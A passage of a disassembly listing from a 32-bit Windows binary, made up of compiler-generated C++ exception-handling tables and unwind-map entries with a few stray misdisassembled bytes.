		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
